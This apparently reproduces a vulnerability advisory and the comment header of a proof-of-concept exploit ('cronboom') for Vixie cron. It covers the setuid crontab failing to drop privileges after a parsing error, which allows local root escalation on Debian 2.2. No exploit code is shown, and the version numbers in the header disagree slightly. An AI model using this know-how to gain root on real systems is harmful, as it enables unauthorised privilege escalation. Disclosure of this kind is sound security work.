Vixie cron is an implementation of the popular UNIX program that runs user-specified programs at periodic scheduled times.
|
|
|
|
When a parsing error occurs after a modification operation, crontab will fail to drop privileges correctly for subsequent modification operations.
|
|
|
|
This vulnerability may be exploited to gain root privileges locally.

# cronboom - simple proof-of-concept exploit for vixie cron version 3.1pl1
|
|
#
|
|
# synopsis:
|
|
# the crontab file maintenance program (crontab) fails to drop privileges
|
|
# before invoking the editor under certain circumstances.
|
|
#
|
|
# description:
|
|
# a serialization error exists in some versions of the file maintenance
|
|
# program, crontab. the vulnerability was introduced in versions which
|
|
# were patched for seperate vulnerability in fall of 2000 (see Bugtraq
|
|
# ID #1960).
|
|
#
|
|
# when a parsing error occurs after a modification operation, crontab will
|
|
# fail to drop privileges correctly for subsequent modification operations.
|
|
# because the program is installed setuid root, it may be possible for a
|
|
# local user to gain root privileges.
|
|
#
|
|
# affected versions:
|
|
# cron_3.0pl1-57.2 distributed with Debian Linux 2.2.
|
|
#
|
|
# note that copies of the program with the patch mentioned above are likely
|
|
# to also be vulnerable.
